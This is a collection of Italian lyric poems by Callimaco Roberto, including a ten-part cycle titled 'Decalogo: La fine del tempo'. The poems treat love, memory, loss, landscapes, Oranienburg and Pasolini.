Callimaco.Roberto 1-2-3-4

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DECALOGO  LA FINE DEL TEMPO

INCISIONI

CUORE in AFFITTO IN LIQUIDAZIONE OLTRE lo STECCATO VERSI al PRIMO SOLE di MAGGIO SOLDATI SVESTIZIONE PRIMA FUGA VENTO

PER SEMPRE

ISTANTI COLORI NON so Sè AMORE OMBRE di CIPRESSI SCHELETRI

LA RONDINE SMARRITA

ORZO NERO a COLAZIONE DELL'ULTIMA VOLTA al MARE ORANIENBURG

UN TEMPORALE

SULLA TELA ANNOIATA ASPETTANDO PRIMAVERA LA MIA PRIGIONE ROMANA ESILI MANI IL VIAGGIO IL SILENZIO delle NUVOLE LENZUOLO di BRIVIDI SUDATI dal NULLA PER le SCALE AUTOREVERSE

 

 

 

AUTOREVERSE

 

Prati azzurri e verdi cieli
rotolato da grigie strisce
brusco risveglio da un sogno
rara saliva, intorpidito il corpo.

Freddo lo sguardo con fissità
tutti i sensi rimescolati.

Osservo e sento,
gocciola il sudore misto ad altro
toccarsi è un’impresa
non ricordo di mani e piedi
solo frecce di vetro.

Dolore aspro come gasolio
tutto pesa sempre più
come cervice che difficilmente reggo,
alla fine la testa cade verso l’alto.

Un tonfo e si capovolge la notte.

 

 

 

 

 

 

 

LENZUOLO di BRIVIDI SUDATI dal NULLA

 

Lenzuolo di brividi sudati dal nulla
sdrucita, la tua anima l’hai lasciata
tergersi al libeccio della sera,
trattiene le rincorse dal mare
come bandiera sul golfo
che fa corona ai fianchi avvinti
delle notti con cui hai coperto
palpebre e narici
solo ad intuire le tue carezze.

Mosto d’uva a macchiare il candore
pied-à-terre di zagare e silenzi,
genziane a stordire i giochi intatti
su terrazze di chiacchiere e vino
gioioso alle sapide labbra.

Non conosco i tuoi tendini
ho iniziato a viziarne sinuose nervature
e l’occhio perituro sul piede
sopra il tallone, tra le rughe oziose poso.

Morbida è la brezza dai colli
la mano s’accomoda a comporre plissè
su quella castigata caviglia;
è delusione di luna, dal faro
col bourbon in coppa
la baia dall'incandescenze estive stura.

 

 

 

 

 

 

 

 

IL VIAGGIO

 

Quando il viaggio inizia
un vento intrappola scogli
sotto cieli che non conosco,
la corrente muove il timone
cullandomi nell’amniotico flutto
poi abisso ed azzurro si congiungono
e l’estasi sarà sfrenata rinascita.

Allora,
solo con la mia pelle partirò
e (non per essere demodé)
una cravatta annodata al nudo collo,
riporrò indumenti stropicciati
e quel moccichino ritrovato
in fondo alle tasche
privandomi nell’immediato
di avanzi che mai saziano

 

 

 

 

 

 

 

 

PER le SCALE

 

Dalle terrazze più vicine al cielo
siamo scesi sempre insieme,
non abbiamo mai contato i gradini
che scorrevano sotto i piedi.
Le gambe non reggono più
il peso di quegli anni che noi due
abbiamo calato per antiche scale
di marmo e ferro battuto
accostandoci alle speranze dell’altro.

Quanti i gradini saltati a piè pari
appaiati nel volo
d’una fantasia mai latente,
e tu andavi troppo lungo
più io tentassi di trattenerti.
Mai avere appoggi
tu sempre il primo a scendere
non lo sfioravi nemmeno il corrimano
anche i miei inciampi sorreggevi.


Ora è il vuoto tra queste fioriere
sul penultimo ballatoio, non posso
supplicarmi i ricordi,
(aspettative, progetti e sogni)
solo un latrato risale dal vano
tra i muri di condanna
d’una sincrona volontà.
Arriverò al portone
quando la luce si sarà distesa
appena dietro il tramonto,
mancheranno gli occhi che hai
portato via anzitempo.

Cieco, a tentoni
la tua voce ancora mi guiderà.

 

 

 

 

 

 

 

 

 

 

 

 

IL SILENZIO delle NUVOLE

 

E’ mio il deserto senza rive
sera dolcissima di tuoni
sono ombra che schiva ombre,
disteso su terra di spine
improvvisa la pace mi sorprende,
non so dove finiscano
l’oggi ed il poco di ieri
che ancora rammento.

Le fronde di castagno
tagliano il cielo, un varco s’apre
transito montano di veloci nubi,
brontolii di spenti grigi
tracimati dalle voci
che chiamano per valli.

Nuvole silenziose, vi chiedo supino
voi che dall’alto vegliate
che sfrangiate il perigeo avvolto
da mille forme camuffati colori,
andate all’arenile dorato
dove i pini sprofondano in mare
e ditemi del suo riflesso di corallo,
del suo volto anche se attonito,
delle sue dita a scrutare
l’infinito di stelle marine.

Racconterete di quel sorriso
là sull’onda che s’infrange
al mio povero cuore imbalsamato,
qui sono cenere delle vostre risposte
quando tornerete, con voi pioggia sarò.

 

LA MIA PRIGIONE ROMANA

 

L’angelus giungeva ovattato dall’antica persiana
il Gianicolo tuonava l’invadente primavera
che mi premeva dentro, bionde sfumature
rincorrevano lo scarrucolio dietro rarefatti tranvai.

Ad ammorbidire il trapezio
un tocco sensuale ed affusolato
smalto fumo di Londra, mi sorprendevi chino
su mille polveri di parole.
L’ultimo bacio sul collo,
un morso fresco di midollo
a risucchiare le ampie cavità del mio cuore
le vene tambureggiavano sotto la pelle imberbe
grancassa del parasimpatico
ritti i capelli, del femore teso lo striato.

Non volevo, non potevo
sedurre la tua malizia di donna matura
volevo restarne stupida vittima,
pigna che va seccandosi nella cesta di sughero
imbrigliato nel tulle, velo sopra l’abbondanza
di sinuose forme, d’inebrianti aromi.

Ero il tuo bastardino da ammaestrare,
annusavo l’aria gonfia di letti sfatti
per indovinarti la trama del tuo ultimo tailleur;
i sepolcri, le odi barbare giacevano
nel sottofondo del cassetto,
il treno fischiava esasperato.

Hai bruciato tutti i miei vestiti
ti ero accanto raggomitolato, indifeso
cerone efebico dei tuoi fondotinta,
cipria volatile del tuo ansimare:
come sono remoti questi ricordi di esami,
vita di ossa e primi peli ammatassati.

 

 

 

 

 

 

 

 

 

SULLA TELA ANNOIATA

 

Come sulla tela annoiata
disegni la voracità del rosso
che accerchia il giallo
di colline difese da stoppie,
gli ultimi giorni d’inverno
divorano vaghe inquietudini
lasciandoti ciglia bagnate,
resina essiccata che squarcia
le fenditure in superficie.

Erano i fuochi di novembre
che consolavano spruzzi di grigio
a separare aloni di case lontane
da nuvole sagomate in profili animali,
era la rivelazione d’un sentimento
che vince i rigori del gelo
e d’un sotterraneo ardore inumidiva
la tua umile lingua posatasi
tra i denti del viaggio nell'inverno.

Non coprire di pavide foschie
con le solite, indefinite tinte
le valli dipinte dove i sentieri
vanno ad affievolirsi, lascia
che il sole diradi i sottili pensieri.
Allora schiarirai il cielo a notte
con la più luminosa ad ovest d’Orione
ed i rami in germoglio piegheranno
sotto gli acuti delle ghiandaie.

Sarà forse l'alba sullo sfondo,
con la setola più sottile che conosci,
a lenire tutte le nostre pene.

 

 

 

 

 

 

 

 

 

 

 

ORANIENBURG

 

Là dove ancora sono solchi
e questa folla che infastidisce
i colpi a trafiggere l'aria
le urla sorde
tra gli atelier dei cortili.

Quale forma aveva il dolore
scialbato sul freddo cemento?

Come graffiti
ne restano brandelli
più spogli di allora,
ancora restano impressi
i sorrisi da lontane finestre.

Poi la corsa impazzita
di scalzi bambini
proprio qui
dove scende il metrò,
memoria di una raffica.

 

 

 

 

 

 

 

 

ORZO NERO a COLAZIONE


La morte d’una notte insonne
ha un ultimo sussulto
alto, tra lo sbadigliare
delle mansarde parigine, dal bricco
filtro una tazza d’orzo nero
poi latte e zucchero, per levar l’amaro.

Ecco
stamane come gli altri dì
mi fisso su quel rivolo di nero
che passa nel retino
e lì lascia i fondi
mentre la mente
rincorre strani paragoni.

Il liquido che scivola e sarà bevuto,
è un lento fluire che non dà emozione
a vita nostra, e che fa il tempo breve;
i fondi che il passino ha trattenuti
è quello che rimane, di tutte l’ore,
di tutti gli anni che ti sei bevuti.
Proprio come succede dentro al cuore.

Rappresa
a strati diafani e sottili
c’è la polvere di vita che valeva:
ci ritrovi momenti eroici e vili,
il primo amore e l’ultimo inganno.
Se il filtro del mio cuore ispeziono
uno sfiuto è calato, di polvere dorata
sopra i ricordi d’un’età tramontata.

 

 

 

 

 

 

 

 

 

NON so S'è AMORE

 

Non so s'è amore
la tua mano leggera
sulla mia carne stanca
o far ruzzolare il tempo
sul bordo del tuo letto.

Amore è forse
la polvere d'oro
che hai nascosta (chissà)
nel cuore d'un pagliaio.

Cercala!
falla brillare
sotto i raggi del sole
saprai allora se amore è.

 

 

 

 

 

 

 

 

 

 

COLORI

 

Ho raggrumato
i colori più tristi
tra le fessure delle dita
di mani e piedi.
Con essi m'imbratterò
il viso pallido
e nella gioia
lascerò tracce.

Tornerà il sorriso
solo quando nel sole
da arcobaleni evaporati
diluirò i colori più allegri
per sfumare nuovi orizzonti..

 

 

 

 

ISTANTI

 

Basta un istante
per farti scivolare fra le righe
che ho scritto partendo da destra
e d’inchiostro
tingerti il candido colletto.

Mai ti ho rivelato
che i sogni sono istanti
passati in lento volo
perforando lievi nubi
adagiate su mansarde sfitte.

Prima che mi chiudessi gli occhi
eri l’ospite che fiutava ogni attimo,
io contavo le stelle spegnersi
per azzerare il tempo senza te.

L’istante sta affondando, ora
nella retina del mio rimpianto.

 

 

 

 

 

 

 

ESILI MANI

 

Di valli montane
tramonto d’un cuore
sui tetti a spiovere,
miagolano i gatti
non più alla luna
ma all’obliquo ricordo
di neve e baci mai sazi
sotto il canto del tordo.

Tu eri chiave di violino
al transumare della festa
dalle vette sfuggenti,
nello svuotarsi dei bistrot
la musica rincorreva
i nostri nomi a perdifiato,
con esili mani il mio volto
non ti ho mai mostrato,
solo il cuore ho sepolto
a disciogliere il gelo.

Quanto esili sono le mani
avvinghiate a cose perdute.

 

 

 

 

ASPETTANDO PRIMAVERA

 

Andandosene

il vento ha bussato

sul freddo del vetro,

ti è passato accanto

spettinandoti i pensieri

e senza preavviso

tristemente è salito

su quell’ultima carrozza

appresso al maestrale in fuga.

La valigia dalla fretta

ha dimenticato qui

la potresti svuotare se volessi

ma ancora non è tempo.

Serberai brezze di chiffon

mille e uno petali di tulle

e pioggerelle di chanel

mentre il sole disatteso

che di te si beffa alquanto

brillerà spudoratamente.

 

A doppia mandata

chiuderai il tutto

assieme al vagire

d’un amore mai nato

ed ai residui delle sue soste.

Aspetterai che arrivi primavera

per spalancare le imposte

e far refluire ogni cosa

nella giusta posizione.

 

 

 

 

 

 

 

 

 

 

 

 

UN TEMPORALE

 

 

Oltre le tende
si preparò un temporale
per questo indossasti lo scialle
e sotto il mento stringesti
il merletto dell’ultima bavolette
avanzata al modista dell’angolo.

Uscisti poiché volevi pennellare
gli squarci più remoti d’azzurro,
il tuono che squassò
era più vicino del cielo,
il fulmine ti confuse
con l’albero solitario che per primo
incontra i raggi ogni mattino.

Camminasti fino a mezzanotte,
la grandine cadde sui davanzali
a far sorridere le finestre
e le scarpe rimasero asciutte.

Quando arrivasti tra le stoppie avvizzite
non eri più una fanciulla.

 

 

 

 

 

 

 

 

 

 

 

 

DELL'ULTIMA VOLTA al MARE

 

Prosciugherei il mare
per conoscerne le profondità
e delle conchiglie vivere l’umiltà
nella solitudine di maree.

Un balzo da uno scoglio all’altro
per assecondare il destino
sotto forma di banali onde,
spuma che alga non trattiene.

La spiaggia
è mare che mi scuote dentro
sono come una delle tante foglie
mosse dal vento che l’ultima linfa
va a scricchiolare dove l’orma
si confonde tra stormi di gabbiani.

Inumidisco la sabbia per giocarci ancora
le pieghe delle mani trattengono
un ordito di miseri granelli
il riserbo della mia memoria
non conta nulla nell’infinità dorata.

 

 

 

 

 

 

 

 

 

 

OMBRE di CIPRESSI

 

Il cammino è ritornato
per lunghi filari di cipressi, sassi
ho scagliato contro le ombre.
Il piegarsi delle spighe
è mormorio di croci in pietra
e il lambire d’un ruscello
lava ricordi di piedi nudi
a gelare sotto il pontile.
Non ho più la volontà per decidere
la tonalità dei migliori tramonti
il sole s’incastra tra i panni stesi
e l’arco di glicine del trave natio.
Ho mosso la penna per scrivere
del giallo febbrile delle colline
e già il sole si nasconde ora
tra rotula e femore della mia ombra
mentre smunte dita, ombre di cipressi
corrono sulla tastiera del tempo
a suonare del mattone nella fornace
e della scure che divarica il ciocco.

Quali vapori di crostate al lampone
per filari di cipressi che oziosi
attorno a me si dispongono in cerchio.

 

 

 

 

 

 

 

 

 

 

 

 

SCHELETRI

 

Le idee sono scheletri non consumati
li aiuto a vestirsi prima di coricarmi
così al mattino sono già fuori casa
sul tram della circonvallazione
a confidarsi con assonnati conducenti.

Vanno a lucidare le panchine di periferia
a scollare cartelloni di vecchi réclame
a spingere bambini in altalena
a ridere con anziani seduti al bar.
Stancamente al mio ritorno la sera
raccatto le ossa che hanno perso per strada,
le ricomporrò nel loro stipo a notte fonda.

Roma, Torino, Milano, non ricordo
tutti percorrevano i viali a testa bassa
mai che gli sguardi andassero a origliare
voci e volti da balcone a balcone,
io ero solo carne di vaganti pensieri.

 

 

 

 

 

 

 

 

 

 

 

LA RONDINE SMARRITA

 

Mute le lacrime tra alberi inquieti
aspetto il tuo gramo smarrirsi,
sono tronco perito e macero dentro
ma dissimulo bene l’agonia.

La corteccia sarà timido ricovero
prima che mi distrugga del tutto,
ricamati il nido nella nicchia
in mezzo al mio petto
non più tra prati di stelle.

Ho un lembo d’arcobaleno
dei tre colori che preferisci
mia vertigine, dove più non oso.

Immergiti battendo le tue ali
mi rinfrescherai col cielo
che si riflette nel fossato,
ghermisci quel ramoscello
che ho serbato
per il tuo vellutato appetito.

Se mai ti addormentassi
fughe di rami
saranno morbida eclisse
su nostalgia di grigiori lunari.

 

 

 

 

DECALOGO  "LA FINE DEL TEMPO"

 

I. VAGHE DIMENTICANZE

 

Ti osservo di nascosto, vezzeggi velluti
nervose mani per disadorne stanze,
inquieta disegni gocce su freddi vetri
del serale autunno che invade ogni attimo.

Sul collo ti bacio, verniciando pareti
coi frutti smorti d’appenninici manti
fantasma d’umide fronde avellane, io sono
ad asciugare la terra dalle tue lacrime.

Vorrai sapere tutto di me
di come la vita mi ha condotto qui
per gallerie d’appartamenti vieti,
di come occhieggio il fiorire d’albe
da precari ponteggi nell’inverno tardivo.

Indugio sui tuoi fianchi
meno spigolosi delle memorie d’un tempo:
ore meschine di giorni tra pranzi e cene
sbirciando polveri ammucchiate negli angoli bui
risparmiate da correnti d’aperti mattini.

Riversami ora i dipinti delle tue pupille
colmami con la tua pienezza
sino alla soglia che ci congiungerà.
Dividiamo quest’ultimo vano d’universo
che il diffuso tepore della malinconia
rapisce a confuse cantine di ricordi.

Spalanchiamo finestre oltre i dubitanti cortili
giungiamo mani e piedi e balliamo, trottole
su note dai crinali vibrate sino alle logge
dove luce di prossime stagioni e venti
non sfumeranno più nel fondo dei nostri cuori.

Com'è lieve l'eco di vaghe dimenticanze...

 

 

 

 

 

 

 

 

II. DAI VIALI ATTORNO CASA

 

Sono un cavaliere che vaga nel regno
vorrei rubarti parole rigogliose,
altro non sono che acque di ruscello
dove attingerei la mia sete infantile.

Arrivo tardi e mi smarrisco nel cercarti
busso al tuo portone col cuore gonfio
so di non trovarti assisa mia regina
ma ben ritta alla finestra mirando ali.

Scarni pini ed acacie non escludono
la vista verso un placido mare
verso viali osannati dal vento, e là
dovunque i colli si fanno toccare.
Quando la nebbia invade angoli
il tuo castello vi naviga sopra,
e tu dama misuri i passi di cartapesta
contandoli alla tua mente ancora giovane.

Tieni saldo il timone, arriverai ad udire
il battito d’ali sotto le umide gronde
nella piazza sorretta da nidi di rondine.
Ti poserai quando foschia diraderà
per afferrarne le luci più insolite
e tra le tante panchine spero sempre
che t’accosterai a me come fossi il tuo vecchio
sorreggendomi la mia gamba stanca.

Andremo passeggiando sulla renella estiva
di cortili prodighi di ombre dinoccolate
e dalle nostre labbra solo parole di felicità.
Dritti sino alla brina del prossimo mattino
quando io vorrò tornarti in grembo
dissolvendomi nel più dolce degli abbandoni.

 

 

 

 

 

 

 

 

III. ANDRO' A LETTO PRESTO LA SERA

 

E’ trascorso un altro giorno
e sento più vicino l’attimo
in cui saprò cosa copre la mia pelle
se nell’abisso che s’apriva dal cuore
fosse mai stato versato il desiderio
a farne un calice mezzo pieno.

L’anima è scivolata via di soppiatto
mai ebbi modo di notare la sua
consueta presenza in casacca bianca,
troppe assenze m’hanno popolato
quando le parole respiravano a fatica
dietro maschere conosciute.

In poco spazio, tutto è morto
anche il gesto delle mani
a riscaldarsi davanti al focolare,
con l’amore forse neppure l’illusione
per colmare il resto dell’abisso,
quella voragine che mi devasterà
sino all’ultimo battito, in solitudine.

Ma ho già deciso, non penserò più
il cervello servirà pur ad altro, così
andrò a letto presto le sere che verranno.

 

 

 

 

 

 

 

 

IV. RARA FELICITA'

 

E’ il tempo indignato a bloccare i secondi
a spuntare le lancette dell’indecifrabile
allargandomi tutt’intorno oceani affollati
scegliendomi il minore fra i troppi dolori.

Depongo il primo punto dove capita
tra una virgola ribelle ed un esclamativo;
sarà come stare sul bordo di cornicioni
con l’orecchio teso a carpire spari
contro gli stormi di varie infelicità.

Ammirare il racchiudersi della città
nel nido strisciato a terra dal crepuscolo
è solo una luminosa impossibilità,
una melodia cantata a metà, rimbalzo
su cieli che non chiesi ed ascolto
al di qua di porte che non oso varcare.

Questa è la mia felicità, essere
unico spettatore dall’alto del loggione
col binocolo violare le lontananze
di comparse sfuggite dall’ampio proscenio
e scoprirmi fortemente miope nell’incapacità
di saper cogliere gli attimi di rara felicità.

 

 

 

 

 

 

 

 

 

 

V. LA RESTAURATRICE

 

Sul colle sotto l’edera erano muri
e chiari vigneti a valle spuntavano
da minuzie di blandi fienili.
Non ti ha lasciato un varco la neve
resterai ad affrescare sobri saloni
acrobata tra le nobili pareti
crepate dal tempo, con raffinate
mani sgretolate da un tarlo mai sazio.

Dall’ultimo piolo della scala
tendevi dolorosamente ogni fibra
l’abilità sulla punta di quelle dita
ali sfinite incapaci di reggere
il peso d’un corpo svuotato.
Protesa verso intonaci a volte
mille scorpioni a rovistarti dentro
racchiuderai quel che resta dell’anima
nell’arte che stinge e credi ancora tua.

Cadono scaglie di calce
a struccarti le trasparenze del viso
quando la speranza è solvente
corrode le prime gemme
schioccate tra i rami curvi e spogli.
Non specchiarti per provare pena
la malattia diverrà strenuo amore
e la crosta deteriorata del cenacolo
in ogni dettaglio eternerà il colore.

 

 

 

 

 

 

 

 

 

VI. L'INTERMINATO STORDIRE DEL TEMPO

 

All’interminato stordire del tempo
gli anni disdegnano pieghe della fronte,
avrò gambe ed occhi per riesumare
ombre d’istanti amati più della stessa vita;
grigio e sonnolente calpesterò la ghiaia in giardino
e nessuno udirà l’agonia d’un cuore macero,
_lontano_ saranno gettate esche nella palude
abboccherà il baratro e mi trascinerà a sé.

La luce irradierà su ciò che resta
avrò gambe ed occhi per passeggiare veloce
scorrendo righe di versi scritti da chi mai lesse.
Un capriccioso riposo sotto il sole:
pagine su segnalibri ingialliti, leggerò lentamente
per comprendere a fondo quale morte
ho tenuto stritolata tra le braccia
per poi farla rinascere tronco tenace
sul friabile greto del torrente.

Trema la terra sotto il cielo di cristallo
saccheggerò ogni sua fenditura
tenera perdizione d’una feconda afonia,
in un tempo denudato del selvatico fragore
complice dei deliri d’una vita ch’avanzerà
come un baco svuotato della propria seta.
Sarò forse vecchio con una vista migliore?
Una lingua a snidare gli errori tra i denti?
Nient’altro che un cuore fantasma sarò
a dibattersi tra una stazione e l’altra
confidando nel treno che emergerà dalle colline.

Partirò dalle mie abitudini tirando le tendine
silenzioso commiato da asciutte lacrime,
migrerò da paesaggi su cui transito come intruso.

 

 

 

 

 

 

VII. SABATO MATTINA

 

Spiove tra uno sbadiglio ed un caffè
in un’occhiata gettata fuori nell’azzuffarsi
di gatti straniti dalla primavera.
E’ finzione il mio fissare il sole
quando la pioggia smette di battere
sul ricordo di come si stingeva l’asfalto,
ma le palpebre sono talmente sottili
che traspare la sagoma tua elegantissima,
un muoversi accurato al di là
delle tante finestre che ci dividono.

Libellula che ti destreggi
tra le corde del bucato, candido viso
che ritorni nel tenue sventolio di pizzi,
quante volte ti ho atteso all’ultimo angolo
per incrociare la timida malinconia
che serbavi nel tuo borsellino ricamato.
Rivedermi divorato dai sussurri
a soffiare il fiato tra le tue ciglia
appena sedotte da un velo di mascara,
a sfidare il tuo sguardo che nasconde pensieri
mentre mordendoti il labbro mi parlavi
dell’ anitra selvatica quella sera al Valle.

L’impasse ha dilatato ogni indugio
sulla soglia del vecchio quartiere:
grappoli di balconi fioriti,
fragranze di stufe in ghisa,
rintoccare secco di passi sul pavè,
è un sussulto continuo delle tue vene
nel mattino umido che langue al bagliore
riflesso sul rame presso la bottega
delle tue amate anticaglie.

E’ un sabato che non pensavo di ritrovare
esco, l’aria stiepidisce
nella guazza madida di tormenti,
il destino ha giocato duro questa volta!
Dal portone scorgo il parquet del tuo atrio,
sul patio si ridestano le bianche rose.

 

 

 

 

 

VIII. APPUNTAMENTO COL POMERIGGIO

 

Soffro quando vado all’appuntamento col pomeriggio
vi arrivo con i piedi scalzi, quante scarpe slacciate
sono affondate tra l’erba alta del campo acquitrinoso!

In quei momenti mutano i lineamenti
è impossibile simulare l’angoscia
nel digiuno di colme parole passando
attraverso residenze di ore inconsistenti,
spossato in sale d’attesa senza quadri alle pareti
dove per gravità gli argomenti precipitano
tra le pieghe di vecchie riviste.

Passato mezzogiorno i muri invisibili
non tengono i cardini alle porte, ingannano
le fuoruscite di aneliti bisognosi d'incontri.
Tanti capelli ho sacrificato alle mani
per assecondarle nel timore che si rivoltassero.

Pomeriggio, manca poco al suo dileguarsi
adoro reciproci scambi di facce stanche
la sera lungo il cavalcavia a sormontare
il prevalere del traffico su giostre e chitarre,
appoggiata al davanzale s’é distratta la noia
tramonto di riccioli neri ed occhi bigi.

Salgo a quattro i gradini di casa
gioia d’una poltrona pur non fumando pipe
ed in mancanza delle pantofole scozzesi.
Non so chiedermi altro: tu sulle mia ginocchia,
sentire finalmente la tua voce usare congiuntivi
lusingarmi le rughe all’angolo della bocca
fin che duri una notte intera.

 

 

 

 

 

IX. MIGRAZIONI STAGIONALI

 

Apri la dispensa prima che il pane indurisca
occorre dimenticarsi della mia presenza,
guardati bene dentro, dove sono riflesso?
Nel fondo scoprirai increspature concentriche
là dove inabissavo le mie reti a maglie larghe.

Nulla valse la misera pescagione
ai piedi dei quattro gradini
esitante rimase la giovinezza
e tu cingevi le mie tempie tremanti.
Ora non attendere che la penombra
mi conduca a sanguinare
nel cerchio chiuso delle tue candele.

Sursum corda!
Bevi pure alla mia salute
sono interrato nel cimitero dei sensi
alla periferia d’un viaggio intentato,
rinnova pure la tua sete!
Non è tradimento il tuo ma solo gustare
l’aspro cullato dal bicchiere.

Con briciole di rimpianto ho segnato il passo
tornerò cercando le tue stanze ove ancora
conservi frutti dell’autunno andato.

 

 

 

 

 

X. CRISTO A SERRA SAN QUIRICO

 

Alle porte di gole dalle rosse fauci
chiuso in medievale sacralità
lui sta
nel bianco che manca d’emozioni
ma che estesa certezza fornisce.

Scorro rapido dinanzi gli altari
smezzo il transetto tra cibori barocchi
e lui, lì sta
nell’antro più nascosto ma chiaro
sta lì a plasmare il vecchio faggio
venato del rosso che ancora
nutre gli errori d'un mare mosso.

Il tuo sguardo è assente, sfugge il mio
mantiene vivace la misera fiamma
e claudicanti tornano le rimembranze.
Provo a toccare le tue piaghe
ma la bronzea transenna ci divide
asciutte restano le mie mani.

Rimani lì tranquillo
stretto nella tua croce, forse troverò
la forza per sollevare la navata
che alta s’erge e tanto t’opprime.
Sarai così libero volo
sovrastando i canti degli ubriachi
e le ultime colline bardate d’espatrio.

A capofitto nel domani, dove saltano grilli
ti aspetterò ancora una volta
tra l’erba che alligna senza far rumore.

 

 

INCISIONI


Restano i libri, risuonano le melodie
la sfinge corrosa rimarrà
tra i tentacoli dell’umanità.

Se vorrò essere dimenticato lo chiederò
a queste nebbie sbiadite, spuntate dai monti
che ora osservo placidamente.

Tra quelle acque ancora limpide
e l’erta del sentiero verso vette ignote
passerà il viandante
e di quell’ incisione sulla roccia
si domanderà se al suo ritorno
sarà una consumata scalfittura.

 

 

 

 

 

 

 

 

 

 

CUORE in AFFITTO

 

Un cuore non dimentica affatto
le case dove in passato ha pulsato
souvenir porta comunque con sè,
un dissimile rosso che fa sangue.
Il mio ha vagabondato per un po’
all’aria, sotto tetti in pagliericcio
le valigie mai appresso , finché
le arterie traslocarono, ora è qui
alla sinistra di fiati smorzati,
un inquilino che non paga fitto

 

 

 

 

 

 

 

 

 

 

IN LIQUIDAZIONE

 

Fameliche le tue mani mi arpionano
rilevano subito il marchio impressomi
coccolano maliarde il prezzo sul collo,
non sono caro, lesinerai diverse monete
sono frutto di produzioni sottocosto
in qualche scantinato abusivo
i gatti hanno fallato il mio tessuto,
spero non te ne accorga cara, come sai
la convenienza sfarfalla sulla ragione.

Prendimi ora, confidami un colore
cercherò di accontentarti, sai
sono in svendita, restano poche taglie
ma non sono un reggiseno e se
troppo abbondante saprò sempre
aderire alle tue forme, accomodandomi
come nebbia sulle verdi colline.

Ricordati di passare alla cassa
hanno una gran fretta di smerciarmi
una veloce lettura sotto luci blu
e dal codice a barre nulla carpiranno
troppe volte l’ho falsificato invertendo cifre
tengo molto ad ogni incrocio delle mie fibre
solo tu potrai sfilacciarmi lentamente
sarò il tuo inseparabile dolcevita.

 

 

 

 

 

 

 

 

 

OLTRE lo STECCATO

(a Pierpaolo Pasolini)

 

Oltre lo steccato, solo erba mai calpestata
al di qua uno sterrato fradicio e vissuto.


Bruciarono le ceneri prim'ancora
che la luna s’appollaiasse sul fienile
le tue grida si dispersero, valicando monti
sino al portone di casa Colussi.
Immaginarti nel grembo della tua Casarsa
col sangue rappreso del fratello partigiano
e con gli ultimi fotogrammi scorsi via
in rapida sequenza senza montaggio
è uno strapazzare sogni a sbiadite notti.



I mutamenti della terra si consumano
sotto gli occhi del cielo, in una Ostia immemore
tornano spettri dallo squallido idroscalo.
Angeli tra i filari dello Getsemani
offrirono ed affamarono amori
senza braccia, scarpe sfondate
tradirono laminati di borgate di una Roma,
dalle alte pretese, meno mamma e più battona.


Ieri, al volto martoriato svanì il labirinto
di rughe scavate, zappa e orto dietro casa
è coltura di gramigna sincera e vera
cresciuta dove l’aratro non ha rivangato.
Oggi l’italia è una tua intuizione,
una fosforescente trama che già
dispiegavi dietro lenti scure anni ‘70
svettante sul tuo collo nervoso,
d’un’idea senza partito
d’un credo senza chiesa.

Pierpaolo,
è’ caduta copiosa la pioggia da allora
ma nulla è andato cancellato nello sterrato.

 

 

 

 

 

 

 

 

 

 

 

VERSI al PRIMO SOLE di MAGGIO

 

Sono l’unico vivo nel contrappeso d’un ricordo?
La marea m’affligge cicatrici sulla schiena
e l’ondulato erodere per spiagge ulteriori
approssima il rincorrersi d’altre rarefazioni.

Si dissigilla il sorriso verso cieli riempiti
da due o tre fiaschi rivoltati, rosso barbera
ascende fin sulle tue gote febbrili
la tovaglia deborda come uno scoglio salmastro.

La mia esitazione è un gabbiano ferito
a cui neanche vento ed onde accudiscono
nelle ore interminabili d’immediati dintorni
torno di passaggio a spegnere il passato,
caldi viluppi agostani su dettagli smarriti.

Non ho più fame d’antipasti invitanti
vado a rinnovare versi che mai saziano
finito uno l’angoscia passerà al seguente.

 

 

 

 

 

 

 

 

 

 

 

SOLDATI

 

Lento il fluire dei passi esanimi
una coperta di nero dolore
sotto i campanili va a ricoprire
magre dita giunte in vana attesa.
Non muta la linea all’orizzonte
risacche di lacrime dilavano
i tasselli perduti oltre confine.

Da un drappello di strette pupille
rientrano senza rifornimento, sapevano
di partire già sepolti ed al ritorno
poi ritrovare costole spurie
brandelli di noti ricordi e cari volti
nell’inane spazio, a mezz’aria
in accorato trascinamento
di vuote spoglie.

 

 

 

 

 

 

 

 

 

 

 

SVESTIZIONE

(o della nudità) 

 

Porta con te
tutti i ritagli di sguardi
che m’appesantiscono le tasche,
metti in valigia la mia debolezza
nell’accudire la tua voce,
i nostri giochi a fingere
di capire le più nascoste verità.

Non dimenticare
le tue lettere sazie di consonanti
che tanto amavo per le loro carenze,
nè l’acquaforte che il chiodo non regge
appesa là, dove nessuno può arrivare,
neanche quel che resta
dei più affievoliti timori.

Raccogli e portati appresso
le vesti demodé che vedi sparse,
non farò bucati dell’anima
preferisco rimanermene nudo
spogliato della speranza
anche durante le ultime soste
che mi saranno concesse.

Lasciami solo
con i riflessi della tua pelle
finchè il riverbero non si attenuerà
riuscirò ancora ad ascoltarmi

 

 

 

 

 

 

 

 

 

PRIMA FUGA

 

Per le mura di calce candida
un imbandire di glicini ondeggianti,
le tue mani ad intrecciare giunchi
gli occhi ad incontrare i miei,
velando di tristezza gioie importune.

Sfavillano sul golfo concitato
le braci di saporiti banchetti,
indolente si distende il borgo
in morte d’uno scottato tramonto.
Al bordo di severi chiassi
ho raccolto il tuo cuore
tra il grasso vociare di turisti
venuti dall’est, forse slovacchi.

Non immaginavo potesse palpitarne
uno con tante sfumature insolite,
io ne coglierò le venature più oscure
smarrito come sono al bivio d’una piazza
fuggita da sotto i tuoi passi
come vento che strapazza le rive.

Frugherò ogni angolo piegato
che stramazza verso il porto
come un’insonne vetrina,
dimentica di giorni festivi,
minime scie di luce a scovare
la tua limpida frontiera
mai oltre quel mare
che da sempre ha irretito
uomini e barche.

